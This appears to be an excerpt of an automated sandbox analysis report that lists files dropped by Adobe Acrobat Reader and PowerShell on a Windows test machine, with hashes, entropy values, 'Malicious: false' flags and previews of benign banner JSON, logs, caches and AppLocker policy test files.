Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.345888502139403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfzdPeUkwRe9:YvXKXCo3IGgT5LjIPNGb8Ukee9
MD5:	36A46E14A2CF1FFCC4A2ABE8749E0ECC
SHA1:	C3A50B80D4EE96B05F0CDD4CDB9A464B1807E3CE
SHA-256:	600F1421A675DB5C09D296EEAB6EEB4E699AEDE2DBDAE943B4264C8F0D6D6FEA
SHA-512:	11312FA57316C7CACFF3770B22CF22B053177B17F8865C459D60395650101CDCCAB425F9A4CABEB9207555E9426A06ABA5964F3589E3845DA3DFE103C592637D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.32678911641439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfYdPeUkwRe9:YvXKXCo3IGgT5LjIPNGg8Ukee9
MD5:	38A60C358A3C3701C7934D8FCD764BE1
SHA1:	2C4EED6722AFF019FA7DA17B99BA9B73FA230B19
SHA-256:	0FDE51D9067E8B702F7624647CE1244C349164B41B8DC7741FA3A62D8B4EDEC9
SHA-512:	25DE59DD1A465320892A0B7F42C723FB4971241734EFB50036BA260BB669F8EE567B97FB1064340BB893D18B0A241B1170657F53D85CE58451B922267B2DC585
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.314159969600415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJf+dPeUkwRe9:YvXKXCo3IGgT5LjIPNG28Ukee9
MD5:	FF72134B81A69145FAA2ABCE8384199D
SHA1:	AB4AD37D2FA56CFFA58752D342F765CFC01DAADA
SHA-256:	972FE31AFECE20F0B8E58E740284C94E327F5337EE70C21F936544AB5A82E953
SHA-512:	0EDB5159E3C14A5720B9F8F82DE1D4892A9961D1594F791ECCF5A28E5E54EBFEC3C20713EF8055878DC9D7C334798A6552426F8714CEB302351F6F20682A9458
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.310152096449666
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfbPtdPeUkwRe9:YvXKXCo3IGgT5LjIPNGDV8Ukee9
MD5:	B1345D88AA8390A7FA09A256740538FB
SHA1:	926F4D3AA3A037E5A32471D83D473C5C452AB691
SHA-256:	F843402A80CACC3F515C4449CC4104C6355540F3EE1F293E6C41ACADA7B37535
SHA-512:	FB5C48BB1475ECD9485C455B0F7108E52130A73367AFAB83E43E046A0F4349044AD096D787E4F2C703472B8CDB04FA27E7563D7A70079ABA62575E5C1CDFDDBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.302282825341233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJf21rPeUkwRe9:YvXKXCo3IGgT5LjIPNG+16Ukee9
MD5:	63F21AAA63BA5AC11B3B1197E1070619
SHA1:	448332F4179E1DAF9A1C4FED76CD28B771FE386A
SHA-256:	B8BDEC9AF68E51CC08FC688786BFD057C6116A84C1BFEB7F07CEAA6D2117156F
SHA-512:	0A542B387F51BC2E9BEB54AE0B73396952F126A9FF616B1AC71E959D7D9AC4C48D082BECB713FA5CA0BCAB813B667E236860824081D1E0C1A93705E570347295
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668200453790202
Encrypted:	false
SSDEEP:	24:Yv6XCo3UT5XImamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSs:YvH5XDBgkDMUJUAh8cvMs
MD5:	25E425A61B1B449B5744C1F6F2C52B40
SHA1:	16226B69921BEE68469B852725CB3AC8ABFF79E2
SHA-256:	C7DC4A35AD201A7C5A9D6DD23FD3E099DAB8629104A948D4AA179968225672E6
SHA-512:	9CA354F29DA8D3CA28AFC1351AEDB526F7030A36946F8B3DDAB6BF68DA979FA6DB3FAAE42B375581E733CFB68FFEA3B4CBDE739BA164F9772C8C88C9F569E907
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.276974520805635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJfshHHrPeUkwRe9:YvXKXCo3IGgT5LjIPNGUUUkee9
MD5:	76760EFB65A45E6DC1B5B795332B9DEA
SHA1:	3DF246C85B8F6F4907BDE7DC62D0C3A9AA1FB9D9
SHA-256:	14936636A100ED8BE3EB23A92761E79ECE3AEBC7A72576E89790743901896F41
SHA-512:	F2872B544AD5B8993C4602A8C249BBCB4F2676E64AE234E459FFD3F101995459D46F7B8A8EA68B84915A0C02D48FFCDF412A61258B31023961BBDA739AB3225F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.287964183170058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC+X2SIGhGkmSg1c2LjcWkHvR0YqoAvJTqgFCrPeUkwRe9:YvXKXCo3IGgT5LjIPNGTq16Ukee9
MD5:	E9B4EF5AD5D3CC83C36ED054520B3C8C
SHA1:	DAB2DE03BE08F104C5B2D1763FD14B336371E796
SHA-256:	63C375C6B3F12A9D69E4AC304D34B13E82A5E5C6E967141BE82D9362EBB45F7F
SHA-512:	A2BB7E57D9C4EB02D387621930AB2DB662CDEBA21E83833ABEA217795C8F0204BCA9C7F644CC9A32E940341A3E8FB49782D3B6ED13952638E8087EDA471192C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1ee874d-223f-4c5b-bd5a-fe1963b17b90","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736734851615,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13022564471938
Encrypted:	false
SSDEEP:	24:YsQMaekay0QqS55X3YA4ycFURDLNjSBwj0ScCVcC42JJ2LSuCnbfxSBLn5liTUim:YRljnYAXSBCBGPWcUbfxyDKz93A
MD5:	FE7DCC04D131D2C953720B5AB70DC061
SHA1:	9714C2013EBCF679C85C7320DF0FE5B122158E6B
SHA-256:	6D97044E6A096782A300D7CD9F191A06F0A9B9D03A48F97E86706B32CBE7205B
SHA-512:	0F0766AAC8EF1B7AB1E3BE506771A9913EA424631893D48D052403BFDF3F2B4590CF4DBCB9E6C099BC2187E272DCBE7287F0B7E692D7442D1AA00B86AA12D88E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"28983ebb5a2fe9625ba659c354a77626","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556950000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e217ffd496d646a6e1ccd1d31105afcb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556950000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0475aeff231b1deb1ee29dc8ab7aabd5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556950000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9c7ec6dad041c38e18d60d75b36a98f1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556950000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"def43d226fc7cf5b8e0087c5066157f5","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file","size":291,"ts":1736556950000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"30494412b1c6654d4b993f24231371b1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","siz

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3674716029740053
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuvufXKdqEKfS8EKfM1baHufF:Tll2GL7msMcKTlS8fcsuPfI0
MD5:	FDB2F866ABE0AA5A4FD4180C9546C5F2
SHA1:	444DAC270DDE093F2E52E050E281589D58D81054
SHA-256:	B9D5724301ACB164B0DBE5864ACA6D53CB2CFCAF2281A667094BDCE484251672
SHA-512:	61CBFF4AF3D1F1FE50CCBB96938B3391D102259741FF1B57F4B95B9D74C042E0431B48A1E761E9CE1BFCCFD8389455C52802FFAE346C69DD642BB4277A65964B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8444254992229554
Encrypted:	false
SSDEEP:	24:7+teZ6bqyKn6ylSTofcNqDuvuf+KdqEKfS8EKfM1banbquqqLKufx/XYKQvGJF7E:7MUcKTlS8fcsuKfI9qqGufl2GL7msA
MD5:	01601E67CA91BA4445A84CF3109E63C8
SHA1:	85CFF59DA2820F99EA191D64AB34FE97FDF2327F
SHA-256:	02A1D80069F0B2EFA407C456999ABAC4B9219FFB1E4AB2F7BB311539F3DEEFA2
SHA-512:	E2732E5641D53337CDCB0AC12F0E101937E730631E3549D69D744036A085BC101375CF3BEEAE6D94B462BA8D845103260479A9C1345FF48FFA56DDF401C7B7A2
Malicious:	false
Preview:	.... .c.....k............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3N1vumAPLVMP5T7Hskz1bwgNYyu:6a6TZ44ADEd1vuPLrkzBwgNK
MD5:	5ACA0D10A3D6D0FB5DBAB7EE2E9E53FD
SHA1:	14EF710C24E89CE05333FEEBDDAF6FAB6D7364B0
SHA-256:	D2FAC42D99D86C2CDF5AF2DADF3E9307F389F782A7043B0035ACC1536FAB6718
SHA-512:	B97F8BAC77876D8EA5FE30BEBF530062E78394BE4F9677BC690289B83CEFF4628EE0C2DB2A375EB7F54683845F3C77AF63B6486D22F0DA222FBF2F8BDAC6AE9A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI33806.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.518261198325562
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE07cN9:Qw946cPbiOxDlbYnuRK+bDDH
MD5:	85BF24DD1EF4A581B4A2D28213BE5F84
SHA1:	0DB4DB763A5F9A185E83D84F0D6F2EDAEFBBC11D
SHA-256:	71CD865AAEC6D2685AA548C87A7F7E6C4ECA38ED2EF9D554A2577E2FD032D933
SHA-512:	5858139D13BE76EE9F9FB6AC62BEBDF19B919E9F0E904084B3018FB7EB1FE0815E010716255AF3D851ABBB459430FE3FDCCAFD47C82AB74D4424D7CC2CF08ED7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.5.:.4.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f4pm3yb.h3h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5nf52skf.rtf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9tz9dwk_nkgkjy_ts.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-55-43-993.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.349561453903142
Encrypted:	false
SSDEEP:	384:VOyzCClM/Raa3hLQUDU3rNqceGRmc6G6WrcV3RlnJwWRsIK/0UHhd2l2faZ7F9mh:6HIJ
MD5:	5968FCD0E339CE2AC836124EAC96F05C
SHA1:	3A824AF5A402EB7657299CAB9BEC3CD48CEE9C7D
SHA-256:	BCE6C4DDB53F1351B4AFF8B26EC8DADA43C45D0A28D0662C0535A59069DC23B1
SHA-512:	7D2BA275368AB714FFAD668B0823DA3E2ED7220DC23F08BD9E5FB25C857C312B9E995EF6AD8D3381EDF87AFCF18B3AD7354AFB0D304B5BD4B4746CBBEA14B7E4
Malicious:	false
Preview:	SessionID=86a8f34c-f5f7-4baa-bef4-029eb83ed1fe.1736556944008 Timestamp=2025-01-10T19:55:44:008-0500 ThreadID=4436 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=86a8f34c-f5f7-4baa-bef4-029eb83ed1fe.1736556944008 Timestamp=2025-01-10T19:55:44:009-0500 ThreadID=4436 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=86a8f34c-f5f7-4baa-bef4-029eb83ed1fe.1736556944008 Timestamp=2025-01-10T19:55:44:009-0500 ThreadID=4436 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=86a8f34c-f5f7-4baa-bef4-029eb83ed1fe.1736556944008 Timestamp=2025-01-10T19:55:44:009-0500 ThreadID=4436 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=86a8f34c-f5f7-4baa-bef4-029eb83ed1fe.1736556944008 Timestamp=2025-01-10T19:55:44:009-0500 ThreadID=4436 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383138566790323
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmwbcbaI/jcbh:8qnXopZ50rMc/g
MD5:	B920C4A5BF3938B7F8F0AB2B290C5497
SHA1:	E26AD8FCC80AF206C2194F07E8670AB165565CBE
SHA-256:	3CBCDB25EED7AD5C579B103EBC9E310770C20A55A46EDA604D3890493210768A
SHA-512:	B68CEB6D387716359263A5A1CE27DD4B593FBC8CAF99C69F9576349182F582B1D622EACC7E858BB2CFF16B996A69244A621390BB9C6FB8C182571B213ED19289
Malicious:	false
